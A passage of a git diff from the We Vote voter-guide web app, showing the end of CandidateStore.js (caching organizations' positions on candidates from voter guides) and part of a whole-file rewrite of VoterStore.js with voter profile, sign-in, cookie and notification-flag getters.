+ ballot_item_image_url_https_tiny: oneVoterGuide.ballot_item_image_url_https_tiny,
+ ballot_item_twitter_handle: oneVoterGuide.ballot_item_twitter_handle,
+ ballot_item_political_party: oneVoterGuide.ballot_item_political_party,
+ kind_of_ballot_item: 'CANDIDATE',
+
+ // ballot_item_id: 0,
+ ballot_item_we_vote_id: ballotItemWeVoteId,
+
+ // ballot_item_state_code: '',
+ // contest_office_id: 0,
+ // contest_office_we_vote_id: '',
+ // contest_office_name: '',
+ is_support: oneVoterGuide.is_support,
+ is_positive_rating: oneVoterGuide.is_positive_rating,
+ is_support_or_positive_rating: oneVoterGuide.is_support_or_positive_rating,
+ is_oppose: oneVoterGuide.is_oppose,
+ is_negative_rating: oneVoterGuide.is_negative_rating,
+ is_oppose_or_negative_rating: oneVoterGuide.is_oppose_or_negative_rating,
+ is_information_only: oneVoterGuide.is_information_only,
+ is_public_position: oneVoterGuide.is_public_position,
+ organization_we_vote_id: oneVoterGuide.organization_we_vote_id,
+ speaker_we_vote_id: oneVoterGuide.organization_we_vote_id,
+ speaker_display_name: oneVoterGuide.speaker_display_name,
+ speaker_image_url_https_large: oneVoterGuide.voter_guide_image_url_large,
+ speaker_image_url_https_medium: oneVoterGuide.voter_guide_image_url_medium,
+ speaker_image_url_https_tiny: oneVoterGuide.voter_guide_image_url_tiny,
+ speaker_twitter_handle: oneVoterGuide.twitter_handle,
+ speaker_type: oneVoterGuide.voter_guide_owner_type,
+ vote_smart_rating: oneVoterGuide.vote_smart_rating,
+ vote_smart_time_span: oneVoterGuide.vote_smart_time_span,
+ voter_guide_we_vote_id: oneVoterGuide.we_vote_id,
+ google_civic_election_id: oneVoterGuide.google_civic_election_id,
+
+ // state_code: '',
+ more_info_url: oneVoterGuide.more_info_url,
+ statement_text: '',
+ last_updated: oneVoterGuide.last_updated,
+ };
+ // console.log('CandidateStore, voterGuidesToFollowRetrieve, onePosition: ', onePosition);
+ }
+
+ // console.log('CandidateStore onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ });
+ } else {
+ // Case 2: voterGuidesToFollowRetrieve is general purpose
+ voterGuides.forEach((oneVoterGuide) => {
+ // Make sure we have a position in the voter guide
+ if (!oneVoterGuide.ballot_item_we_vote_ids_this_org_supports ||
+ !oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only ||
+ !oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes ||
+ !oneVoterGuide.organization_we_vote_id) {
+ // If any of these are undefined, ignore this voter_guide
+ // console.log('Something wrong with voter guide.');
+ } else {
+ // Support
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_supports.forEach((oneCandidateWeVoteId) => {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesToFollowRetrieve Support position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are support positions
+ onePosition.is_support = true;
+ onePosition.is_positive_rating = false;
+ onePosition.is_support_or_positive_rating = true;
+
+ // console.log('CandidateStore support onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ });
+ // Information Only
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only.forEach((oneCandidateWeVoteId) => {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesToFollowRetrieve Info only position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are information only positions
+ onePosition.is_information_only = true;
+
+ // console.log('CandidateStore info onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ });
+ // Opposition
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes.forEach((oneCandidateWeVoteId) => {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesToFollowRetrieve Oppose position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are oppose positions
+ onePosition.is_oppose = true;
+ onePosition.is_negative_rating = false;
+ onePosition.is_oppose_or_negative_rating = true;
+
+ // console.log('CandidateStore oppose onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ });
+ }
+ });
+ }
+
+ // console.log('CandidateStore allCachedPositionsAboutCandidates:', allCachedPositionsAboutCandidates);
+ return {
+ ...state,
+ allCachedPositionsAboutCandidates,
+ };
+
+ case 'voterGuidesUpcomingRetrieve': // List of all public voter guides from CDN
+ case 'voterGuidesFromFriendsUpcomingRetrieve': // List of all friends-only voter guides
+ // This code harvests the support/oppose positions that are passed in along with voter guides
+
+ // console.log('CandidateStore voterGuidesUpcomingRetrieve');
+ voterGuides = action.res.voter_guides || [];
+ ballotItemWeVoteId = action.res.ballot_item_we_vote_id || '';
+
+ voterGuides.forEach((oneVoterGuide) => {
+ // Make sure we have a position in the voter guide
+ if (!oneVoterGuide.ballot_item_we_vote_ids_this_org_supports ||
+ !oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only ||
+ !oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes ||
+ !oneVoterGuide.organization_we_vote_id) {
+ // If any of these are undefined, ignore this voter_guide
+ // console.log('Something wrong with voter guide.');
+ } else {
+ // Support
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_supports.forEach((oneCandidateWeVoteId) => {
+ if (stringContains('cand', oneCandidateWeVoteId)) {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesUpcomingRetrieve Support position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are support positions
+ onePosition.is_support = true;
+ onePosition.is_positive_rating = false;
+ onePosition.is_support_or_positive_rating = true;
+
+ // console.log('CandidateStore support onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ }
+ });
+ // Information Only
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only.forEach((oneCandidateWeVoteId) => {
+ if (stringContains('cand', oneCandidateWeVoteId)) {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesUpcomingRetrieve Info only position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are information only positions
+ onePosition.is_information_only = true;
+
+ // console.log('CandidateStore info onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ }
+ });
+ // Opposition
+ oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes.forEach((oneCandidateWeVoteId) => {
+ if (stringContains('cand', oneCandidateWeVoteId)) {
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('voterGuidesUpcomingRetrieve Oppose position already exists');
+ } else {
+ onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
+ // These are oppose positions
+ onePosition.is_oppose = true;
+ onePosition.is_negative_rating = false;
+ onePosition.is_oppose_or_negative_rating = true;
+
+ // console.log('CandidateStore oppose onePosition: ', onePosition);
+ allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
+ }
+ }
+ });
+ }
+ });
+
+ // console.log('CandidateStore allCachedPositionsAboutCandidates:', allCachedPositionsAboutCandidates);
+ return {
+ ...state,
+ allCachedPositionsAboutCandidates,
+ };
+
+ case 'error-candidateRetrieve' || 'error-positionListForBallotItem':
+ console.log(action);
+ return state;
+
+ default:
+ return state;
+ }
+ }
+}
+
+export default new CandidateStore(Dispatcher);
diff --git a/src/js/stores/VoterStore.js b/src/js/stores/VoterStore.js
index 4349bfb7b9..dc600be3e5 100644
--- a/src/js/stores/VoterStore.js
+++ b/src/js/stores/VoterStore.js
@@ -1,1486 +1,1486 @@
-import { ReduceStore } from 'flux/utils';
-import BallotActions from '../actions/BallotActions'; // eslint-disable-line import/no-cycle
-import FacebookActions from '../actions/FacebookActions'; // eslint-disable-line import/no-cycle
-import FriendActions from '../actions/FriendActions'; // eslint-disable-line import/no-cycle
-import OrganizationActions from '../actions/OrganizationActions';
-import VoterActions from '../actions/VoterActions'; // eslint-disable-line import/no-cycle
-import VoterGuideActions from '../actions/VoterGuideActions';
-import Dispatcher from '../common/dispatcher/Dispatcher';
-import AppObservableStore from '../common/stores/AppObservableStore'; // eslint-disable-line import/no-cycle
-import apiCalming from '../common/utils/apiCalming';
-import Cookies from '../common/utils/js-cookie/Cookies';
-import stringContains from '../common/utils/stringContains';
-import signInModalGlobalState from '../common/components/Widgets/signInModalGlobalState';
-import VoterConstants from '../constants/VoterConstants';
-import { dumpObjProps } from '../utils/appleSiliconUtils';
-
-class VoterStore extends ReduceStore {
- getInitialState () {
- return {
- voter: {
- interface_status_flags: 0,
- state_code_from_ip_address: '',
- },
- address: {},
- emailAddressStatus: {},
- emailSignInStatus: {},
- emailAddressList: [],
- externalVoterId: '',
- facebookSignInStatus: {},
- facebookPhotoRetrieveLoopCount: 0,
- latestGoogleCivicElectionId: 0,
- secretCodeVerificationStatus: {
- incorrectSecretCodeEntered: false,
- numberOfTriesRemaining: 5,
- secretCodeVerified: false,
- voterMustRequestNewCode: false,
- voterSecretCodeRequestsLocked: false,
- },
- smsPhoneNumberStatus: {
- sms_verify_attempted: false,
- sms_phone_number_already_owned_by_other_voter: false,
- sms_phone_number_already_owned_by_this_voter: false,
- sms_phone_number_created: false,
- sms_phone_number: '',
- sms_phone_number_found: false,
- sms_phone_number_deleted: false,
- make_primary_sms: false,
- sign_in_code_sms_sent: false,
- verification_sms_sent: false,
- },
- smsPhoneNumberList: [],
- voterContactEmailGoogleCount: 0,
- voterContactEmailList: [],
- voterDeleted: false,
- voterEmailQueuedToSave: '',
- voterEmailQueuedToSaveSet: false,
- voterFirstNameQueuedToSave: '',
- voterFirstNameQueuedToSaveSet: false,
- voterFirstRetrieveCompleted: false, // Has the first retrieve of the voter completed?
- voterFound: false,
- voterExternalIdHasBeenSavedOnce: {}, // Dict with externalVoterId and membershipOrganizationWeVoteId as keys, and true/false as value
- voterLastNameQueuedToSave: '',
- voterLastNameQueuedToSaveSet: false,
- voterNotificationSettingsUpdateStatus: {
- apiResponseReceived: false,
- emailFound: false,
- voterFound: false,
- normalizedEmailAddress: '',
- normalizedSmsPhoneNumber: '',
- notificationSettingsFlags: false,
- },
- voterPhotoQueuedToSave: '',
- voterPhotoQueuedToSaveSet: false,
- voterPhotoTooBig: false,
- hasReviewedApp: false,
- };
- }
-
- electionId () {
- return this.getState().latestGoogleCivicElectionId || 0;
- }
-
- resetState () {
- return this.getInitialState();
- }
-
- getAddressObject () {
- return this.getState().address || {};
- }
-
- getAnalyticsUserCohort () {
- const { voter } = this.getState();
- const visitedSiteWithPoliticianCookie = Cookies.get('politician_url_variable_used');
- if (voter && voter.we_vote_id) {
- if (voter.linked_politician_we_vote_id || visitedSiteWithPoliticianCookie) {
- return 'politician';
- } else if (this.getVoterIsWeVoteStaff()) {
- return 'weVoteStaff';
- }
- }
- const visitedSiteWithAdCookie = Cookies.get('ad_url_variable_used');
- if (visitedSiteWithAdCookie) {
- return 'googleAd';
- }
- return 'organic';
- }
-
- getAnalyticsUserDetails () {
- return {
- linkedPoliticianWeVoteId: this.getLinkedPoliticianWeVoteId(),
- // signedInWithApple
- signedInEmail: this.getVoterIsSignedInWithEmail(),
- signedInPhone: this.getVoterIsSignedInWithPhone(),
- stateCode: this.getVoterStateCode(),
- userCohort: this.getAnalyticsUserCohort(),
- userStatus: this.getVoterSignInStatus(),
- voterWeVoteId: this.getVoterWeVoteId(),
- };
- }
-
- getBallotLocationForVoter () {
- // console.log('getBallotLocationForVoter this.getState().address:', this.getState().address);
- if (this.getState().address) {
- return {
- text_for_map_search: this.getTextForMapSearch(),
- ballot_returned_we_vote_id: this.getState().address.ballot_returned_we_vote_id,
- polling_location_we_vote_id: '',
- ballot_location_order: 0,
- ballot_location_display_name: this.getState().address.ballot_location_display_name,
- ballot_location_shortcut: '',
- google_civic_election_id: this.getState().address.google_civic_election_id,
- voter_entered_address: this.getState().address.voter_entered_address || false, // Did the voter save an address?
- voter_specific_ballot_from_google_civic: this.getState().address.voter_specific_ballot_from_google_civic || false, // Did this ballot come back for this specific address?
- };
- }
- return null;
- }
-
- getEmailAddressList () {
- const { emailAddressList } = this.getState();
- return emailAddressList;
- }
-
- getEmailAddressesVerifiedList () {
- const { emailAddressList } = this.getState();
- // console.log('getEmailAddressVerifiedList emailAddressList:', emailAddressList);
- const emailList = [];
- let oneEmail = {};
- for (let i = 0; i < emailAddressList.length; ++i) {
- oneEmail = emailAddressList[i];
- if (oneEmail.normalized_email_address && oneEmail.email_ownership_is_verified === true) {
- emailList.push(oneEmail.normalized_email_address);
- }
- }
- return emailList;
- }
-
- getEmailAddressesVerifiedCount () {
- const { emailAddressList } = this.getState();
- let oneEmail = {};
- let verifiedCount = 0;
- for (let i = 0; i < emailAddressList.length; ++i) {
- oneEmail = emailAddressList[i];
- if (oneEmail.email_ownership_is_verified === true) {
- verifiedCount += 1;
- }
- }
- return verifiedCount;
- }
-
- getEmailAddressStatus () {
- return this.getState().emailAddressStatus;
- }
-
- getEmailSignInStatus () {
- return this.getState().emailSignInStatus;
- }
-
- getExternalVoterId () {
- return this.getState().externalVoterId;
- }
-
- getFacebookPhoto () {
- return this.getState().voter.facebook_profile_image_url_https || '';
- }
-
- getFacebookSignInStatus () {
- return this.getState().facebookSignInStatus;
- }
-
- getFirstName () {
- return this.getState().voter.first_name || '';
- }
-
- getFirstPlusLastName () {
- const storedFirstName = this.getFirstName();
- const storedLastName = this.getLastName();
- let displayName = '';
- if (storedFirstName && String(storedFirstName) !== '') {
- displayName = storedFirstName;
- if (storedLastName && String(storedLastName) !== '') {
- displayName += ' ';
- }
- }
- if (storedLastName && String(storedLastName) !== '') {
- displayName += storedLastName;
- }
- return displayName;
- }
-
- getFullName () {
- return this.getState().voter.full_name || '';
- }
-
- getLastName () {
- return this.getState().voter.last_name || '';
- }
-
- getLinkedOrganizationWeVoteId () {
- return this.getState().voter.linked_organization_we_vote_id || '';
- }
-
- getLinkedPoliticianWeVoteId () {
- // To be created
- return '';
- }
-
- getPasskeyVerified () {
- return this.getState().voter.passkey_verified || false;
- }
-
- getPasskeyReceivedButNotAccepted () {
- return this.getState().voter.passkey_received_but_not_accepted || false;
- }
-
- getPrimaryEmailAddressDict () {
- const { emailAddressList } = this.getState();
- let oneEmail = {};
- let primaryEmailAddress = {};
- for (let i = 0; i < emailAddressList.length; ++i) {
- oneEmail = emailAddressList[i];
- // console.log('getPrimaryEmailAddressDict, oneEmail:', oneEmail);
- if (oneEmail.primary_email_address === true &&
- oneEmail.email_permanent_bounce === false &&
- oneEmail.email_ownership_is_verified === true) {
- primaryEmailAddress = oneEmail;
- }
- }
- // console.log('getPrimaryEmailAddressDict, primaryEmailAddress:', primaryEmailAddress);
- return primaryEmailAddress;
- }
-
- getSecretCodeVerificationStatus () {
- return this.getState().secretCodeVerificationStatus || {};
- }
-
- getSMSPhoneNumberStatus () {
- return this.getState().smsPhoneNumberStatus;
- }
-
- getSMSPhoneNumberList () {
- const { smsPhoneNumberList } = this.getState();
- return smsPhoneNumberList;
- }
-
- getSMSPhoneNumbersVerifiedCount () {
- const { smsPhoneNumberList } = this.getState();
- let onePhoneNumber = {};
- let verifiedCount = 0;
- for (let i = 0; i < smsPhoneNumberList.length; ++i) {
- onePhoneNumber = smsPhoneNumberList[i];
- if (onePhoneNumber.sms_ownership_is_verified === true) {
- verifiedCount += 1;
- }
- }
- return verifiedCount;
- }
-
- // See also getVoterStateCode
- getStateCode () {
- // This defaults to state_code_from_ip_address but is overridden by the address the voter defaults to, or enters in text_for_map_search
- if (this.getState().voter) {
- return this.getState().voter.state_code || '';
- } else {
- return '';
- }
- }
-
- // See also getVoterStateCode
- getStateCodeFromIPAddress () {
- if (this.getState().voter) {
- return this.getState().voter.state_code_from_ip_address || '';
- } else {
- return '';
- }
- }
-
- getTextForMapSearch () {
- let textForMapSearch = this.getState().address.text_for_map_search;
- if (textForMapSearch === undefined) {
- // Attaching full address object to voterRetrieve, so we can phase this out
- textForMapSearch = this.getState().voter.text_for_map_search;
- if (textForMapSearch === undefined) return '';
- }
- if (Array.isArray(textForMapSearch)) return textForMapSearch[0] || '';
- return textForMapSearch;
- }
-
- getTwitterHandle () {
- return this.getState().voter.twitter_handle || '';
- }
-
- getTwitterSignInStatus () {
- return this.getState().twitterSignInStatus || {};
- }
-
- getVoter () {
- return this.getState().voter;
- }
-
- getVoterContactEmailGoogleCount () {
- return this.getState().voterContactEmailGoogleCount || 0;
- }
-
- getVoterContactEmailList () {
- return this.getState().voterContactEmailList || [];
- }
-
- getVoterContactEmailListCount () {
- const voterContactEmailList = this.getState().voterContactEmailList || [];
- return voterContactEmailList.length;
- }
-
- getVoterDeleted () {
- return this.getState().voterDeleted || false;
- }
-
- getVoterEmail () {
- return this.getState().voter.email || '';
- }
-
- getVoterEmailQueuedToSave () {
- return this.getState().voterEmailQueuedToSave;
- }
-
- getVoterEmailQueuedToSaveSet () {
- return this.getState().voterEmailQueuedToSaveSet;
- }
-
- getVoterFirstName () {
- if (this.getState().voter) {
- return this.getState().voter.first_name || '';
- }
- return '';
- }
-
- getVoterFirstNameQueuedToSave () {
- return this.getState().voterFirstNameQueuedToSave;
- }
-
- getVoterFirstNameQueuedToSaveSet () {
- return this.getState().voterFirstNameQueuedToSaveSet;
- }
-
- getVoterIsSignedIn () {
- return this.getState().voter.is_signed_in || false;
- }
-
- getVoterIsSignedInWithEmail () {
- return this.getState().voter.signed_in_with_email || false;
- }
-
- getVoterIsSignedInWithFacebook () {
- return this.getState().voter.signed_in_facebook || false;
- }
-
- getVoterIsSignedInWithPhone () {
- return this.getState().voter.signed_in_with_sms_phone_number || false;
- }
-
- getVoterIsSignedInWithTwitter () {
- return this.getState().voter.signed_in_twitter || false;
- }
-
- getVoterIsWeVoteStaff () {
- const { voter } = this.getState();
- if (voter && voter.we_vote_id) {
- if (voter.is_admin === true ||
- voter.is_analytics_admin === true ||
- voter.is_political_data_manager === true ||
- voter.is_verified_volunteer === true) {
- return true;
- }
- }
- return false;
- }
-
- getVoterLastNameQueuedToSave () {
- return this.getState().voterLastNameQueuedToSave;
- }
-
- getVoterLastNameQueuedToSaveSet () {
- return this.getState().voterLastNameQueuedToSaveSet;
- }
-
- getVoterNotificationSettingsUpdateStatus () {
- return this.getState().voterNotificationSettingsUpdateStatus || {};
- }
-
- getVoterPhotoQueuedToSave () {
- return this.getState().voterPhotoQueuedToSave;
- }
-
- getVoterPhotoQueuedToSaveSet () {
- return this.getState().voterPhotoQueuedToSaveSet;
- }
-
- getVoterPhotoTooBig () {
- return this.getState().voterPhotoTooBig || false;
- }
-
- // Could be either Facebook photo or Twitter photo
- getVoterPhotoUrlLarge () {
- return this.getState().voter.voter_photo_url_large || '';
- }
-
- // Could be either Facebook photo or Twitter photo
- getVoterPhotoUrlMedium () {
- return this.getState().voter.voter_photo_url_medium || '';
- }
-
- // Could be either Facebook photo or Twitter photo
- getVoterPhotoUrlTiny () {
- return this.getState().voter.voter_photo_url_tiny || '';
- }
-
- getVoterProfileUploadedImageUrlLarge () {
- return this.getState().voter.we_vote_hosted_profile_uploaded_image_url_large || '';
- }
-
- getVoterSavedAddress () {
- // console.log('VoterStore, getVoterSavedAddress: ', this.getState().address.voter_entered_address);
- return this.getState().address.voter_entered_address || false;
- }
-
- // See also getStateCode & getStateCodeFromIPAddress
- getVoterStateCode () {
- // TODO in getVoterStateCode we check for normalized_state in the address object. We should be
- // capturing the state when we call Google address Auto Complete (search for _placeChanged)
- // and we should also figure out the state_code when we call API server voterAddressSave and put it in the "address"
- // return data.
- // console.log('this.getState().address:', this.getState().address);
- // console.log('this.getState().voter:', this.getState().voter);
- if (this.getState().address && this.getState().address.normalized_state) {
- // console.log('normalized_state:', this.getState().address.normalized_state);
- return this.getState().address.normalized_state;
- }
- return this.getStateCode() || this.getStateCodeFromIPAddress() || '';
- }
-
- getVoterSignInStatus () {
- return this.getVoterIsSignedIn() ? 'signedIn' : 'notSignedIn';
- }
-
- getVoterWeVoteId () {
- return this.getState().voter.we_vote_id || '';
- }
-
- voterDeviceId () {
- return this.getState().voter.voter_device_id || Cookies.get('voter_device_id');
- }
-
- setVoterDeviceIdCookie (id) { // eslint-disable-line
- Cookies.remove('voter_device_id');
- Cookies.remove('voter_device_id', { path: '/' });
- Cookies.remove('voter_device_id', { path: '/', domain: 'wevote.us' });
- let { hostname } = window.location;
- hostname = hostname || '';
- // console.log('setVoterDeviceIdCookie hostname:', hostname, 'cookie id:', id);
- if (hostname && stringContains('wevote.us', hostname)) {
- Cookies.set('voter_device_id', id, { expires: 10000, path: '/', domain: 'wevote.us' });
- } else {
- Cookies.set('voter_device_id', id, { expires: 10000, path: '/' });
- }
- }
-
- // Airbnb doesnt like bitwise operators in JavaScript
- getInterfaceFlagState (flag) {
- // Look in js/Constants/VoterConstants.js for list of flag constant definitions
- // console.log('VoterStore getInterfaceFlagState flag: ', flag);
- if (!this.getState().voter) {
- return false;
- }
-
- const interfaceStatusFlags = this.getState().voter.interface_status_flags || 0;
- // console.log('VoterStore getInterfaceFlagState interfaceStatusFlags: ', interfaceStatusFlags);
- // return True if bit specified by the flag is also set in interfaceStatusFlags (voter.interface_status_flags)
- // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
- // so for value of flag = 1 and 4, we return a positive integer,
- // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
- // const flagIsSet = interfaceStatusFlags & flag; // eslint-disable-line no-bitwise
- // console.log('VoterStore getInterfaceFlagState flagIsSet: ', flagIsSet);
- return interfaceStatusFlags & flag; // eslint-disable-line no-bitwise
- }
-
- getNotificationSettingConstantFromUnsubscribeModifier (unsubscribeModifier) {
- // New unsubscribe modifiers also need to be added in WeVoteServer
- let notificationSettingConstant = 0;
- // dailyfriendactivity, friendaccept, friendinvite, friendopinions, friendopinionsall, friendmessage, login, newsletter, politiciancampaign
- // NOT IMPLEMENTED YET: suggestedfriend == NOTIFICATION_SUGGESTED_FRIENDS_EMAIL
- if (unsubscribeModifier === 'dailyfriendactivity') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_VOTER_DAILY_SUMMARY_EMAIL;
- } else if (unsubscribeModifier === 'friendaccept' || unsubscribeModifier === 'friendinvite') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_REQUESTS_EMAIL; // friendaccept: NOTIFICATION_FRIEND_REQUEST_RESPONSES_EMAIL
- } else if (unsubscribeModifier === 'friendopinions' || unsubscribeModifier === 'friendopinionsall') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_OPINIONS_YOUR_BALLOT_EMAIL; // friendopinionsall: NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL
- } else if (unsubscribeModifier === 'friendmessage') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL;
- } else if (unsubscribeModifier === 'login') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_LOGIN_EMAIL;
- } else if (unsubscribeModifier === 'newsletter') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_NEWSLETTER_OPT_IN;
- } else if (unsubscribeModifier === 'politiciancampaign') {
- notificationSettingConstant = VoterConstants.NOTIFICATION_WEVOTE_POLITICIAN_CAMPAIGN_EMAIL;
- }
- return notificationSettingConstant;
- }
-
- getNotificationSettingsFlagState (flag) {
- // Look in js/Constants/VoterConstants.js for list of flag constant definitions
- if (!this.getState().voter) {
- return false;
- }
- // Notification settings we haven't implemented yet which we show as still turned on
- if ((flag === VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL) ||
- (flag === VoterConstants.NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL) ||
- (flag === VoterConstants.NOTIFICATION_LOGIN_EMAIL)) {
- return true;
- }
- const notificationSettingsFlags = this.getState().voter.notification_settings_flags || 0;
- // return True if bit specified by the flag is also set
- // in notificationSettingsFlags (voter.notification_settings_flags)
- // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
- // so for value of flag = 1 and 4, we return a positive integer,
- // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
- return notificationSettingsFlags & flag; // eslint-disable-line no-bitwise
- }
-
- getNotificationSettingsFlagStateFromSecretKey (flag) {
- // Look in js/Constants/VoterConstants.js for list of flag constant definitions
- if (!this.getState().voterNotificationSettingsUpdateStatus) {
- return false;
- }
- // Notification settings we haven't implemented yet which we show as still turned on
- if ((flag === VoterConstants.NOTIFICATION_FRIEND_MESSAGES_EMAIL) ||
- (flag === VoterConstants.NOTIFICATION_FRIEND_OPINIONS_OTHER_REGIONS_EMAIL) ||
- (flag === VoterConstants.NOTIFICATION_LOGIN_EMAIL)) {
- return true;
- }
- const { notificationSettingsFlags } = this.getState().voterNotificationSettingsUpdateStatus;
- // return True if bit specified by the flag is also set
- // in notificationSettingsFlags (voter.notification_settings_flags)
- // Eg: if interfaceStatusFlags = 5, then we can confirm that bits representing 1 and 4 are set (i.e., 0101)
- // so for value of flag = 1 and 4, we return a positive integer,
- // but, the bit representing 2 and 8 are not set, so for flag = 2 and 8, we return zero
- return notificationSettingsFlags & flag; // eslint-disable-line no-bitwise
- }
-
- getVoterContactEmailAugmentSequenceComplete () {
- return this.getState().voterContactEmailAugmentSequenceComplete || false;
- }
-
- getVoterContactEmailAugmentSequenceHasNextStep () {
- return this.getState().voterContactEmailAugmentSequenceHasNextStep || false;
- } // voterContactEmailAugmentWithWeVoteDataComplete
-
- getVoterContactEmailAugmentWithWeVoteDataComplete () {
